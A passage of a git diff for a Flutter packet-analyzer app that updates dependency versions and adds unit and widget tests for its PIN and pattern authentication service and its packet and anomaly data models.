RegisterGeneratedPlugins(registry: FlutterPluginRegistry) { - FlutterSecureStoragePlugin.register(with: registry.registrar(forPlugin: "FlutterSecureStoragePlugin")) + FlutterSecureStorageDarwinPlugin.register(with: registry.registrar(forPlugin: "FlutterSecureStorageDarwinPlugin")) LocalAuthPlugin.register(with: registry.registrar(forPlugin: "LocalAuthPlugin")) + SharePlusMacosPlugin.register(with: registry.registrar(forPlugin: "SharePlusMacosPlugin")) SharedPreferencesPlugin.register(with: registry.registrar(forPlugin: "SharedPreferencesPlugin")) SqflitePlugin.register(with: registry.registrar(forPlugin: "SqflitePlugin")) } diff --git a/pubspec.lock b/pubspec.lock index 50ede78..5f3a156 100644 --- a/pubspec.lock +++ b/pubspec.lock @@ -57,6 +57,14 @@ packages: url: "https://pub.dev" source: hosted version: "1.19.1" + cross_file: + dependency: transitive + description: + name: cross_file + sha256: "28bb3ae56f117b5aec029d702a90f57d285cd975c3c5c281eaca38dbc47c5937" + url: "https://pub.dev" + source: hosted + version: "0.3.5+2" crypto: dependency: "direct main" description: @@ -97,6 +105,14 @@ packages: url: "https://pub.dev" source: hosted version: "2.2.0" + ffi_leak_tracker: + dependency: transitive + description: + name: ffi_leak_tracker + sha256: "4093d4ef9ca06ffe2786e73bfb25e22aa92112b9bb4ec941f11e3e6b61489a97" + url: "https://pub.dev" + source: hosted + version: "0.1.2" file: dependency: transitive description: @@ -105,14 +121,22 @@ packages: url: "https://pub.dev" source: hosted version: "7.0.1" + fixnum: + dependency: transitive + description: + name: fixnum + sha256: b6dc7065e46c974bc7c5f143080a6764ec7a4be6da1285ececdc37be96de53be + url: "https://pub.dev" + source: hosted + version: "1.1.1" fl_chart: dependency: "direct main" description: name: fl_chart - sha256: "5276944c6ffc975ae796569a826c38a62d2abcf264e26b88fa6f482e107f4237" + sha256: b938f77d042cbcd822936a7a359a7235bad8bd72070de1f827efc2cc297ac888 url: "https://pub.dev" source: hosted - version: "0.70.2" + version: "1.2.0" flutter: dependency: "direct main" description: flutter @@ -122,10 +146,10 @@ packages: dependency: "direct dev" description: name: flutter_lints - sha256: "5398f14efa795ffb7a33e9b6a08798b26a180edac4ad7db3f231e40f82ce11e1" + sha256: "3105dc8492f6183fb076ccf1f351ac3d60564bff92e20bfc4af9cc1651f4e7e1" url: "https://pub.dev" source: hosted - version: "5.0.0" + version: "6.0.0" flutter_plugin_android_lifecycle: dependency: transitive description: @@ -138,50 +162,50 @@ packages: dependency: "direct main" description: name: flutter_secure_storage - sha256: "9cad52d75ebc511adfae3d447d5d13da15a55a92c9410e50f67335b6d21d16ea" + sha256: "15e8c8fe269fdf7d469b23008ab3df521c8b826ed345820532364c31bdebace6" url: "https://pub.dev" source: hosted - version: "9.2.4" - flutter_secure_storage_linux: + version: "11.0.0" + flutter_secure_storage_darwin: dependency: transitive description: - name: flutter_secure_storage_linux - sha256: be76c1d24a97d0b98f8b54bce6b481a380a6590df992d0098f868ad54dc8f688 + name: flutter_secure_storage_darwin + sha256: ac6d76a752de0cd738334eb4b21743fc4943f449f5b6e308f18838b048c02ac0 url: "https://pub.dev" source: hosted - version: "1.2.3" - flutter_secure_storage_macos: + version: "0.4.0" + flutter_secure_storage_linux: dependency: transitive description: - name: flutter_secure_storage_macos - sha256: "6c0a2795a2d1de26ae202a0d78527d163f4acbb11cde4c75c670f3a0fc064247" + name: flutter_secure_storage_linux + sha256: "76fa9c841b3b1619fc5b5bc36efc7d158fa2356f223b6caeb1d0c80a54168546" url: "https://pub.dev" source: hosted - version: "3.1.3" + version: "3.0.2" flutter_secure_storage_platform_interface: dependency: transitive description: name: flutter_secure_storage_platform_interface - sha256: cf91ad32ce5adef6fba4d736a542baca9daf3beac4db2d04be350b87f69ac4a8 + sha256: "788060052712555182aba55ecb5f8b6e5cb9cfe8f776c83249a61fe3ce877db4" url: "https://pub.dev" source: hosted - version: "1.1.2" + version: "2.0.3" flutter_secure_storage_web: dependency: transitive description: name: flutter_secure_storage_web - sha256: f4ebff989b4f07b2656fb16b47852c0aab9fed9b4ec1c70103368337bc1886a9 + sha256: "073a62b3aeb866ab4ce795f960413948e51e5a42a9b0c8333b6daf5bb3208a1c" url: "https://pub.dev" source: hosted - version: "1.2.1" + version: "2.1.1" flutter_secure_storage_windows: dependency: transitive description: name: flutter_secure_storage_windows - sha256: b20b07cb5ed4ed74fc567b78a72936203f587eba460af1df11281c9326cd3709 + sha256: "471951813a97006d899db4948acc654a4f28c440083ea08178935ce20b173ec1" url: "https://pub.dev" source: hosted - version: "3.1.2" + version: "4.2.2" flutter_test: dependency: "direct dev" description: flutter @@ -232,14 +256,6 @@ packages: url: "https://pub.dev" source: hosted version: "1.0.1" - js: - dependency: transitive - description: - name: js - sha256: f2c445dce49627136094980615a031419f7f3eb393237e4ecd97ac15dea343f3 - url: "https://pub.dev" - source: hosted - version: "0.6.7" leak_tracker: dependency: transitive description: @@ -268,34 +284,34 @@ packages: dependency: transitive description: name: lints - sha256: c35bb79562d980e9a453fc715854e1ed39e24e7d0297a880ef54e17f9874a9d7 + sha256: "12f842a479589fea194fe5c5a3095abc7be0c1f2ddfa9a0e76aed1dbd26a87df" url: "https://pub.dev" source: hosted - version: "5.1.1" + version: "6.1.0" local_auth: dependency: "direct main" description: name: local_auth - sha256: "434d854cf478f17f12ab29a76a02b3067f86a63a6d6c4eb8fbfdcfe4879c1b7b" + sha256: ecf24edf2283c509ecd217e3595f6f71034b68888d28ad1dae6bfa0857b816ac url: "https://pub.dev" source: hosted - version: "2.3.0" + version: "3.0.2" local_auth_android: dependency: transitive description: name: local_auth_android - sha256: a0bdfcc0607050a26ef5b31d6b4b254581c3d3ce3c1816ab4d4f4a9173e84467 + sha256: fdb936d59ab945c7af297defd67bd1ed87b11b6db1bc16d01e94677a8f1c38ec url: "https://pub.dev" source: hosted - version: "1.0.56" + version: "2.0.9" local_auth_darwin: dependency: transitive description: name: local_auth_darwin - sha256: "699873970067a40ef2f2c09b4c72eb1cfef64224ef041b3df9fdc5c4c1f91f49" + sha256: a8c3d4e17454111f7fd31ff72a31222359f6059f7fe956c2dcfe0f88f49826d4 url: "https://pub.dev" source: hosted - version: "1.6.1" + version: "2.0.3" local_auth_platform_interface: dependency: transitive description: @@ -308,10 +324,10 @@ packages: dependency: transitive description: name: local_auth_windows - sha256: bc4e66a29b0fdf751aafbec923b5bed7ad6ed3614875d8151afe2578520b2ab5 + sha256: be12c5b8ba5e64896983123655c5f67d2484ecfcc95e367952ad6e3bff94cb16 url: "https://pub.dev" source: hosted - version: "1.0.11" + version: "2.0.1" logging: dependency: transitive description: @@ -344,6 +360,14 @@ packages: url: "https://pub.dev" source: hosted version: "1.18.0" + mime: + dependency: transitive + description: + name: mime + sha256: "41a20518f0cb1256669420fdba0cd90d21561e560ac240f26ef8322e45bb7ed6" + url: "https://pub.dev" + source: hosted + version: "2.0.0" native_toolchain_c: dependency: transitive description: @@ -436,50 +460,50 @@ packages: dependency: "direct main" description: name: permission_handler - sha256: "59adad729136f01ea9e35a48f5d1395e25cba6cea552249ddbe9cf950f5d7849" + sha256: "06149cba29bc46206f8b54b56065fe74b07602d2454a281287685ae66b5ab7b5" url: "https://pub.dev" source: hosted - version: "11.4.0" + version: "13.0.0" permission_handler_android: dependency: transitive description: name: permission_handler_android - sha256: d3971dcdd76182a0c198c096b5db2f0884b0d4196723d21a866fc4cdea057ebc + sha256: d7676c6fcf2f0b92537ec41476a6ead45a00b0d8bbb852395a6f9f33f49d6242 url: "https://pub.dev" source: hosted - version: "12.1.0" + version: "14.0.0" permission_handler_apple: dependency: transitive description: name: permission_handler_apple - sha256: f000131e755c54cf4d84a5d8bd6e4149e262cc31c5a8b1d698de1ac85fa41023 + sha256: "11b7e94a9d2fbee23c27f0cae0105c6266c03fd83b9a2eda6cf09141fc82624b" url: "https://pub.dev" source: hosted - version: "9.4.7" + version: "9.5.0" permission_handler_html: dependency: transitive description: name: permission_handler_html - sha256: "38f000e83355abb3392140f6bc3030660cfaef189e1f87824facb76300b4ff24" + sha256: "6ea98b3f17f60d3b527f2647ed2ab4dc0f6bfe25b22cb1c363f5d8f62252f6ac" url: "https://pub.dev" source: hosted - version: "0.1.3+5" + version: "0.1.4+1" permission_handler_platform_interface: dependency: transitive description: name: permission_handler_platform_interface - sha256: eb99b295153abce5d683cac8c02e22faab63e50679b937fa1bf67d58bb282878 + sha256: a5c8a97ecf5616112a5b16d4b8e9ec0e5ae90ef63ac69c0d7b8ae240be760b23 url: "https://pub.dev" source: hosted - version: "4.3.0" + version: "4.4.0" permission_handler_windows: dependency: transitive description: name: permission_handler_windows - sha256: "1a790728016f79a41216d88672dbc5df30e686e811ad4e698bfc51f76ad91f1e" + sha256: caeae01858a0a7d2df67a445ac98e1ad95e55a0e77c73044f4e9b1c8c2289cbd url: "https://pub.dev" source: hosted - version: "0.2.1" + version: "0.2.2" platform: dependency: transitive description: @@ -520,6 +544,22 @@ packages: url: "https://pub.dev" source: hosted version: "0.6.0" + share_plus: + dependency: "direct main" + description: + name: share_plus + sha256: "34f00f9becd2743c1fb05363d624f9f70d37f7ccdcdda47450bc0b8c9d327b8c" + url: "https://pub.dev" + source: hosted + version: "13.3.0" + share_plus_platform_interface: + dependency: transitive + description: + name: share_plus_platform_interface + sha256: "365ef7379fc22507256adda3385152942ffce08935452bc972c2e52a0bebae41" + url: "https://pub.dev" + source: hosted + version: "7.2.0" shared_preferences: dependency: "direct main" description: @@ -685,6 +725,46 @@ packages: url: "https://pub.dev" source: hosted version: "1.4.0" + url_launcher_linux: + dependency: transitive + description: + name: url_launcher_linux + sha256: d5e14138b3bc193a0f63c10a53c94b91d399df0512b1f29b94a043db7482384a + url: "https://pub.dev" + source: hosted + version: "3.2.2" + url_launcher_platform_interface: + dependency: transitive + description: + name: url_launcher_platform_interface + sha256: "552f8a1e663569be95a8190206a38187b531910283c3e982193e4f2733f01029" + url: "https://pub.dev" + source: hosted + version: "2.3.2" + url_launcher_web: + dependency: transitive + description: + name: url_launcher_web + sha256: "85c81589622fbc87c1c683aaea164d3604a7777495a79d91e39ffcdec39ddb34" + url: "https://pub.dev" + source: hosted + version: "2.4.3" + url_launcher_windows: + dependency: transitive + description: + name: url_launcher_windows + sha256: "712c70ab1b99744ff066053cbe3e80c73332b38d46e5e945c98689b2e66fc15f" + url: "https://pub.dev" + source: hosted + version: "3.1.5" + uuid: + dependency: transitive + description: + name: uuid + sha256: "1fef9e8e11e2991bb773070d4656b7bd5d850967a2456cfc83cf47925ba79489" + url: "https://pub.dev" + source: hosted + version: "4.5.3" vector_math: dependency: transitive description: @@ -713,10 +793,10 @@ packages: dependency: transitive description: name: win32 - sha256: d7cb55e04cd34096cd3a79b3330245f54cb96a370a1c27adb3c84b917de8b08e + sha256: a0b93865d5644f11cf6a8c3f6db909f1ec168958b5805f6cc684adea957cd63d url: "https://pub.dev" source: hosted - version: "5.15.0" + version: "6.4.0" xdg_directories: dependency: transitive description: @@ -734,5 +814,5 @@ packages: source: hosted version: "3.1.3" sdks: - dart: ">=3.11.0 <4.0.0" - flutter: ">=3.38.4" + dart: ">=3.12.0 <4.0.0" + flutter: ">=3.44.0" diff --git a/pubspec.yaml b/pubspec.yaml index 06b972e..24ed04c 100644 --- a/pubspec.yaml +++ b/pubspec.yaml @@ -16,7 +16,7 @@ publish_to: 'none' # Remove this line if you wish to publish to pub.dev # https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/CoreFoundationKeys.html # In Windows, build-name is used as the major, minor, and patch parts # of the product and file versions while build-number is used as the build suffix. -version: 1.2.0+3 +version: 1.3.0+4 environment: sdk: ^3.8.1 @@ -36,8 +36,8 @@ dependencies: cupertino_icons: ^1.0.8 # Authentication dependencies - local_auth: ^2.1.8 - flutter_secure_storage: ^9.2.2 + local_auth: ^3.0.2 + flutter_secure_storage: ^11.0.0 shared_preferences: ^2.3.3 crypto: ^3.0.3 provider: ^6.1.5 @@ -45,10 +45,13 @@ dependencies: # Storage and permissions sqflite: ^2.4.0 path_provider: ^2.1.5 - permission_handler: ^11.3.1 + permission_handler: ^13.0.0 # Charts for analytics - fl_chart: ^0.70.0 + fl_chart: ^1.2.0 + + # PCAP share/export + share_plus: ^13.3.0 dev_dependencies: flutter_test: @@ -59,7 +62,7 @@ dev_dependencies: # activated in the `analysis_options.yaml` file located at the root of your # package. See that file for information about deactivating specific lint # rules and activating additional ones. - flutter_lints: ^5.0.0 + flutter_lints: ^6.0.0 # For information on the generic Dart part of this file, see the # following page: https://dart.dev/tools/pub/pubspec diff --git a/test/auth_service_test.dart b/test/auth_service_test.dart new file mode 100644 index 0000000..c9e299d --- /dev/null +++ b/test/auth_service_test.dart @@ -0,0 +1,157 @@ +import 'package:flutter/services.dart'; +import 'package:flutter_test/flutter_test.dart'; +import 'package:packet_analyzer/auth/auth_service.dart'; +import 'package:shared_preferences/shared_preferences.dart'; + +/// In-memory fake for the flutter_secure_storage platform channel, since +/// AuthenticationService talks to real secure storage (backed by Android +/// Keystore/iOS Keychain in production) which isn't available in a plain +/// `flutter_test` unit test run. +void _installFakeSecureStorage(TestDefaultBinaryMessengerBinding binding) { + final store = {}; + const channel = MethodChannel('plugins.it_nomads.com/flutter_secure_storage'); + + binding.defaultBinaryMessenger.setMockMethodCallHandler(channel, ( + MethodCall call, + ) async { + switch (call.method) { + case 'write': + store[call.arguments['key'] as String] = call.arguments['value'] as String; + return null; + case 'read': + return store[call.arguments['key'] as String]; + case 'delete': + store.remove(call.arguments['key'] as String); + return null; + case 'deleteAll': + store.clear(); + return null; + case 'containsKey': + return store.containsKey(call.arguments['key'] as String); + case 'readAll': + return store; + default: + return null; + } + }); +} + +void main() { + TestWidgetsFlutterBinding.ensureInitialized(); + final binding = TestDefaultBinaryMessengerBinding.instance; + + setUp(() async { + SharedPreferences.setMockInitialValues({}); + _installFakeSecureStorage(binding); + }); + + Future makeService() async { + final service = AuthenticationService(); + await service.initialize(); + return service; + } + + group('PIN setup and authentication', () { + test('rejects a PIN shorter than 4 digits', () async { + final service = await makeService(); + expect(await service.setupPin('123'), isFalse); + }); + + test('round-trips a valid PIN', () async { + final service = await makeService(); + expect(await service.setupPin('1234'), isTrue); + expect(await service.authenticateWithPin('1234'), isTrue); + expect(service.authState, AuthState.authenticated); + }); + + test('rejects an incorrect PIN without authenticating', () async { + final service = await makeService(); + await service.setupPin('1234'); + // A fresh service instance simulates "app restarted, come back to + // unlock" — auth state resets but the stored credential persists. + final relaunched = await makeService(); + expect(await relaunched.authenticateWithPin('9999'), isFalse); + expect(relaunched.authState, isNot(AuthState.authenticated)); + }); + }); + + group('lockout after repeated failures', () { + test('locks out after 5 failed attempts and blocks further tries', () async { + final service = await makeService(); + await service.setupPin('1234'); + + for (var i = 0; i < 5; i++) { + expect(await service.authenticateWithPin('0000'), isFalse); + } + + expect(service.isLocked, isTrue); + expect(service.lockTimeRemaining, isNotNull); + expect(service.lockTimeRemaining!.inMinutes, lessThanOrEqualTo(5)); + + // Even the *correct* PIN must be rejected while locked out. + expect(await service.authenticateWithPin('1234'), isFalse); + }); + + test('a successful auth resets the failed-attempt counter', () async { + final service = await makeService(); + await service.setupPin('1234'); + + expect(await service.authenticateWithPin('0000'), isFalse); + expect(await service.authenticateWithPin('0000'), isFalse); + expect(await service.authenticateWithPin('1234'), isTrue); + + // Counter reset -> two more wrong guesses shouldn't trigger a lockout + // (lockout only fires at 5 consecutive recorded failures). + expect(await service.authenticateWithPin('0000'), isFalse); + expect(await service.authenticateWithPin('0000'), isFalse); + expect(service.isLocked, isFalse); + }); + }); + + group('auto-lock timing', () { + test('stays authenticated immediately after a successful auth', () async { + final service = await makeService(); + await service.setupPin('1234'); + await service.authenticateWithPin('1234'); + + service.checkAutoLock(); + expect(service.authState, AuthState.authenticated); + }); + + test('an auto-lock time of 0 minutes locks out on the next check', () async { + final service = await makeService(); + await service.setupPin('1234'); + await service.authenticateWithPin('1234'); + await service.setAutoLockTime(0); + + service.checkAutoLock(); + expect(service.authState, AuthState.unauthenticated); + }); + }); + + group('pattern authentication', () { + test('rejects a pattern shorter than 4 dots', () async { + final service = await makeService(); + expect(await service.setupPattern([1, 2, 3]), isFalse); + }); + + test('round-trips a valid pattern', () async { + final service = await makeService(); + expect(await service.setupPattern([0, 1, 2, 5, 8]), isTrue); + expect(await service.authenticateWithPattern([0, 1, 2, 5, 8]), isTrue); + expect(await service.authenticateWithPattern([1, 2, 3, 4]), isFalse); + }); + }); + + group('disableAuthentication', () { + test('clears stored credentials and returns to "none"', () async { + final service = await makeService(); + await service.setupPin('1234'); + await service.disableAuthentication(); + + expect(service.currentAuthMethod, AuthMethod.none); + expect(service.authState, AuthState.authenticated); + expect(service.isLocked, isFalse); + }); + }); +} diff --git a/test/models_test.dart b/test/models_test.dart new file mode 100644 index 0000000..21abb16 --- /dev/null +++ b/test/models_test.dart @@ -0,0 +1,155 @@ +import 'package:flutter_test/flutter_test.dart'; +import 'package:packet_analyzer/models.dart'; + +void main() { + group('PacketInfo.fromMap', () { + test('empty map falls back to PacketInfo.empty()', () { + final packet = PacketInfo.fromMap({}); + expect(packet.sourceIp, '0.0.0.0'); + expect(packet.destinationIp, '0.0.0.0'); + expect(packet.protocol, 'UNK'); + expect(packet.size, 0); + }); + + test('parses a well-formed map', () { + final packet = PacketInfo.fromMap({ + 'sourceIp': '10.0.0.2', + 'destinationIp': '8.8.8.8', + 'sourcePort': 51234, + 'destinationPort': 443, + 'protocol': 'TCP', + 'size': 1500, + 'timestamp': '1700000000000', + 'payload': 'hello', + 'direction': 'outgoing', + }); + + expect(packet.sourceIp, '10.0.0.2'); + expect(packet.destinationIp, '8.8.8.8'); + expect(packet.sourcePort, 51234); + expect(packet.destinationPort, 443); + expect(packet.protocol, 'TCP'); + expect(packet.size, 1500); + expect(packet.isOutgoing, isTrue); + expect(packet.displayDirection, 'OUT'); + }); + + test('falls back to sourceAddress/destinationAddress field names', () { + final packet = PacketInfo.fromMap({ + 'sourceAddress': '192.168.1.5', + 'destinationAddress': '1.1.1.1', + }); + expect(packet.sourceIp, '192.168.1.5'); + expect(packet.destinationIp, '1.1.1.1'); + }); + + test('coerces string port/size values instead of crashing', () { + final packet = PacketInfo.fromMap({ + 'sourcePort': '8080', + 'destinationPort': 'not-a-number', + 'size': '2048', + }); + expect(packet.sourcePort, 8080); + expect(packet.destinationPort, 0); // unparsable -> safe default + expect(packet.size, 2048); + }); + + test('malformed nested maps do not throw and are dropped', () { + final packet = PacketInfo.fromMap({ + 'sourceIp': '10.0.0.1', + 'httpData': 'not-a-map', // wrong type on purpose + 'dnsData': 12345, // wrong type on purpose + }); + expect(packet.httpData, isNull); + expect(packet.dnsData, isNull); + }); + + test('collects DPI-prefixed fields into dpiData', () { + final packet = PacketInfo.fromMap({ + 'http_method': 'GET', + 'dns_query': 'example.com', + 'unrelated_field': 'ignored', + }); + expect(packet.hasDpiData, isTrue); + expect(packet.dpiData!['http_method'], 'GET'); + expect(packet.dpiData!['dns_query'], 'example.com'); + expect(packet.dpiData!.containsKey('unrelated_field'), isFalse); + }); + + test('isOutgoing recognizes both OUT and OUTGOING direction values', () { + expect(PacketInfo.fromMap({'direction': 'OUT'}).isOutgoing, isTrue); + expect( + PacketInfo.fromMap({'direction': 'outgoing'}).isOutgoing, + isTrue, + ); + expect(PacketInfo.fromMap({'direction': 'incoming'}).isOutgoing, isFalse); + }); + }); + + group('AnomalyInfo.fromMap', () { + test('missing fields fall back to safe defaults', () { + final anomaly = AnomalyInfo.fromMap({}); + expect(anomaly.type, 'UNKNOWN'); + expect(anomaly.severity, 'LOW'); + expect(anomaly.title, 'Security Alert'); + expect(anomaly.description, 'Security anomaly detected'); + expect(anomaly.sourceIp, ''); + expect(anomaly.details, isNull); + }); + + test('parses a well-formed anomaly map', () { + final anomaly = AnomalyInfo.fromMap({ + 'type': 'PORT_SCAN', + 'severity': 'HIGH', + 'title': 'Port Scan Detected', + 'description': '20 ports probed in 10s', + 'sourceIp': '10.0.0.5', + 'destinationIp': '10.0.0.1', + 'timestamp': '1700000000000', + 'details': {'portsScanned': 25}, + }); + + expect(anomaly.type, 'PORT_SCAN'); + expect(anomaly.severity, 'HIGH'); + expect(anomaly.friendlyType, 'Port Scan'); + expect(anomaly.details!['portsScanned'], 25); + }); + + test('non-map details value is dropped instead of throwing', () { + final anomaly = AnomalyInfo.fromMap({'details': 'not-a-map'}); + expect(anomaly.details, isNull); + }); + + test('severityColor and typeIcon have a safe default for unknown values', () { + final anomaly = AnomalyInfo.fromMap({ + 'type': 'SOMETHING_NEW', + 'severity': 'UNRANKED', + }); + // Should not throw, and should fall through to the default branch. + expect(anomaly.severityColor, isNotNull); + expect(anomaly.typeIcon, isNotNull); + expect(anomaly.friendlyType, 'SOMETHING NEW'); + }); + }); + + group('NetworkMetrics.fromMap', () { + test('coerces numeric-looking strings', () { + final metrics = NetworkMetrics.fromMap({ + 'totalPackets': '100', + 'packetsPerSecond': '12.5', + 'totalSessions': 3, + 'dataRate': 45.2, + }); + expect(metrics.totalPackets, 100); + expect(metrics.packetsPerSecond, 12.5); + expect(metrics.totalSessions, 3); + expect(metrics.dataRate, 45.2); + }); + + test('missing fields default to zero', () { + final metrics = NetworkMetrics.fromMap({}); + expect(metrics.totalPackets, 0); + expect(metrics.packetsPerSecond, 0.0); + }); + }); +} diff --git a/test/widget_test.dart b/test/widget_test.dart index 038ae71..7310529 100644 --- a/test/widget_test.dart +++ b/test/widget_test.dart @@ -1,18 +1,54 @@ import 'package:flutter/material.dart'; import 'package:flutter_test/flutter_test.dart'; +import 'package:provider/provider.dart'; +import 'package:shared_preferences/shared_preferences.dart'; +import 'package:packet_analyzer/auth/auth_service.dart'; import 'package:packet_analyzer/main.dart'; +import 'package:packet_analyzer/theme_service.dart'; + +Widget _wrapApp() => MultiProvider( + providers: [ + ChangeNotifierProvider(create: (_) => AuthenticationService()), + ChangeNotifierProvider(create: (_) => ThemeService()), + ], + child: const PacketAnalyzerApp(), +); void main() { - testWidgets('Packet Analyzer app smoke test', (WidgetTester tester) async { - // Build the app and trigger a frame. - await tester.pumpWidget(const PacketAnalyzerApp()); + setUp(() { + // AuthWrapper.initState() kicks off AuthenticationService.initialize(), + // which calls SharedPreferences.getInstance() — needs the plugin mocked + // to run under flutter_test without a real platform. + SharedPreferences.setMockInitialValues({}); + }); + + testWidgets('App boots to the AuthWrapper loading screen', (tester) async { + // main() wraps PacketAnalyzerApp in these same providers — pumping the + // app widget alone (as the original version of this test did) throws + // ProviderNotFoundException as soon as AuthWrapper/PacketAnalyzerApp look + // up their services. + await tester.pumpWidget(_wrapApp()); + + // Before AuthenticationService.initialize() resolves, AuthWrapper shows + // its own loading screen (AuthState.unauthenticated + AuthMethod.none). + expect(find.text('Andronet'), findsOneWidget); + expect(find.text('Initializing Security...'), findsOneWidget); + expect(find.byType(CircularProgressIndicator), findsOneWidget); + }); + + testWidgets('AuthenticationService.initialize() resolves without throwing', ( + tester, + ) async { + await tester.pumpWidget(_wrapApp()); - // Verify that the app shows the main title. - expect(find.text('Packet Analyzer'), findsOneWidget); + // A handful of bounded pumps (rather than pumpAndSettle) let the async + // AuthenticationService.initialize() call resolve without the test + // hanging on the main screen's own animation controllers/periodic + // timers, which never "settle" by design. + for (var i = 0; i < 5; i++) { + await tester.pump(const Duration(milliseconds: 50)); + } - // Verify that control buttons are present. - expect(find.byIcon(Icons.clear), findsOneWidget); - expect(find.byIcon(Icons.info_outline), findsOneWidget); - expect(find.byType(FloatingActionButton), findsOneWidget); + expect(tester.takeException(), isNull); }); }